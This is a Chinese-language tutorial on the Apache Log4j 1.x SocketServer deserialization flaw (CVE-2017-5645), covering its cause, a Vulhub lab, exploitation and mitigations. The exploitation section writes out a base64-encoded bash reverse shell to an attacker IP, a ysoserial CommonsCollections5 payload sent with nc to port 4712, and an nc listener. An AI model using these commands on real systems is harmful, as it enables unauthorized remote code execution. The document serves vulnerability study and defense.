Apache Log4j(CVE-2017-5645)反序列化学习
字数 1372 2025-08-29 08:30:25

Apache Log4j反序列化漏洞(CVE-2017-5645)深入分析与利用教程

1. 漏洞概述

1.1 漏洞基本信息

  • 漏洞编号: CVE-2017-5645
  • 影响组件: Apache Log4j 1.x版本
  • 漏洞类型: 反序列化远程代码执行
  • CVSS评分: 9.8 (Critical)
  • 默认利用端口: 4712 (SocketServer默认端口)

1.2 漏洞影响范围

  • 所有使用Apache Log4j 1.x版本且启用了SocketServer功能的Java应用程序
  • 特别影响将Log4j配置为通过网络接收日志数据的系统

2. 漏洞技术分析

2.1 漏洞成因

  • 根本原因: Log4j 1.x的SocketServer类在接收网络日志数据时,直接使用ObjectInputStream反序列化对象,没有进行任何安全检查
  • 危险操作:
    ObjectInputStream ois = new ObjectInputStream(socket.getInputStream());
    LoggingEvent event = (LoggingEvent) ois.readObject();
    
  • 利用条件: 攻击者能够向目标系统的4712端口发送恶意构造的序列化数据

2.2 漏洞利用链

  1. 攻击者构造恶意序列化对象
  2. 通过Socket协议将对象发送到目标IP的4712端口
  3. 目标服务器反序列化恶意对象
  4. 触发远程代码执行

3. 漏洞复现环境搭建

3.1 使用Vulhub快速搭建

# 下载Vulhub
git clone https://github.com/vulhub/vulhub.git
cd vulhub/log4j/CVE-2017-5645

# 启动漏洞环境
docker-compose up -d

3.2 环境验证

  • 检查容器是否正常运行:
    docker ps
    
  • 确认4712端口已开放:
    netstat -tulnp | grep 4712
    

4. 漏洞利用详细步骤

4.1 准备利用工具

  • ysoserial: Java反序列化利用工具
    wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
    

4.2 构造反弹Shell命令

  1. 准备Base64编码的反弹Shell命令:

    echo "bash -i >& /dev/tcp/攻击者IP/端口 0>&1" | base64
    

    示例输出: YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzgwODAgMD4mMQ==

  2. 构造最终命令格式:

    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i}
    

4.3 生成Payload

使用ysoserial生成恶意序列化对象:

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin

4.4 发送Payload

  1. 方法一: 分步执行

    nc <目标IP> 4712 < payload.bin
    
  2. 方法二: 直接管道执行

    java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i}" | nc vulhub.yster.live 4712
    

4.5 接收反弹Shell

在攻击机监听指定端口:

nc -lvnp 8080

5. 漏洞利用注意事项

  1. 命令验证问题:

    • 目标环境可能缺少某些基础命令(如ping)
    • 建议先使用idwhoami等基本命令验证执行是否成功
  2. 协议限制:

    • 仅支持Socket协议发送
    • 实测POST请求无法成功利用
  3. 利用链选择:

    • CommonsCollections5是较稳定的利用链
    • 根据目标环境可能需要尝试其他利用链(如CommonsCollections1-7)

6. 漏洞防御措施

6.1 临时缓解方案

  • 禁用Log4j的SocketServer功能
  • 在网络边界限制对4712端口的访问

6.2 长期修复方案

  • 升级到Log4j 2.x版本
    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-core</artifactId>
      <version>2.17.1</version>
    </dependency>
    
  • 使用安全配置禁用不必要功能

6.3 防御性编程

  • 使用白名单机制验证反序列化对象
  • 实现自定义的ObjectInputStream并重写resolveClass方法

7. 漏洞分析总结

  1. 技术要点:

    • 不安全的反序列化操作是根本原因
    • 利用Java反序列化漏洞执行任意命令
    • 依赖Commons Collections等库的利用链
  2. 利用特点:

    • 无需认证,直接发送恶意数据即可利用
    • 影响默认配置下的Log4j 1.x版本
  3. 防护关键:

    • 及时升级到安全版本
    • 最小化网络暴露面
    • 实施输入验证和过滤

附录:常用命令参考

  1. 检查系统是否受影响:

    find / -name "log4j-*.jar" -exec sh -c 'unzip -p {} META-INF/MANIFEST.MF | grep "Implementation-Version"' \;
    
  2. 快速检测脚本:

    echo "检测Log4j版本..."
    find / -name "log4j-*.jar" 2>/dev/null | while read file; do
      version=$(unzip -p "$file" META-INF/MANIFEST.MF 2>/dev/null | grep "Implementation-Version" | cut -d':' -f2 | tr -d '[:space:]')
      echo "$file: $version"
    done
    
  3. 应急处理命令:

    # 临时禁用SocketServer
    kill $(lsof -t -i:4712)
    iptables -A INPUT -p tcp --dport 4712 -j DROP
    
Apache Log4j反序列化漏洞(CVE-2017-5645)深入分析与利用教程 1. 漏洞概述 1.1 漏洞基本信息 漏洞编号 : CVE-2017-5645 影响组件 : Apache Log4j 1.x版本 漏洞类型 : 反序列化远程代码执行 CVSS评分 : 9.8 (Critical) 默认利用端口 : 4712 (SocketServer默认端口) 1.2 漏洞影响范围 所有使用Apache Log4j 1.x版本且启用了SocketServer功能的Java应用程序 特别影响将Log4j配置为通过网络接收日志数据的系统 2. 漏洞技术分析 2.1 漏洞成因 根本原因 : Log4j 1.x的SocketServer类在接收网络日志数据时,直接使用 ObjectInputStream 反序列化对象,没有进行任何安全检查 危险操作 : 利用条件 : 攻击者能够向目标系统的4712端口发送恶意构造的序列化数据 2.2 漏洞利用链 攻击者构造恶意序列化对象 通过Socket协议将对象发送到目标IP的4712端口 目标服务器反序列化恶意对象 触发远程代码执行 3. 漏洞复现环境搭建 3.1 使用Vulhub快速搭建 3.2 环境验证 检查容器是否正常运行: 确认4712端口已开放: 4. 漏洞利用详细步骤 4.1 准备利用工具 ysoserial : Java反序列化利用工具 4.2 构造反弹Shell命令 准备Base64编码的反弹Shell命令: 示例输出: YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzgwODAgMD4mMQ== 构造最终命令格式: 4.3 生成Payload 使用ysoserial生成恶意序列化对象: 4.4 发送Payload 方法一: 分步执行 方法二: 直接管道执行 4.5 接收反弹Shell 在攻击机监听指定端口: 5. 漏洞利用注意事项 命令验证问题 : 目标环境可能缺少某些基础命令(如ping) 建议先使用 id 或 whoami 等基本命令验证执行是否成功 协议限制 : 仅支持Socket协议发送 实测POST请求无法成功利用 利用链选择 : CommonsCollections5是较稳定的利用链 根据目标环境可能需要尝试其他利用链(如CommonsCollections1-7) 6. 漏洞防御措施 6.1 临时缓解方案 禁用Log4j的SocketServer功能 在网络边界限制对4712端口的访问 6.2 长期修复方案 升级到Log4j 2.x版本 使用安全配置禁用不必要功能 6.3 防御性编程 使用白名单机制验证反序列化对象 实现自定义的ObjectInputStream并重写resolveClass方法 7. 漏洞分析总结 技术要点 : 不安全的反序列化操作是根本原因 利用Java反序列化漏洞执行任意命令 依赖Commons Collections等库的利用链 利用特点 : 无需认证,直接发送恶意数据即可利用 影响默认配置下的Log4j 1.x版本 防护关键 : 及时升级到安全版本 最小化网络暴露面 实施输入验证和过滤 附录:常用命令参考 检查系统是否受影响: 快速检测脚本: 应急处理命令: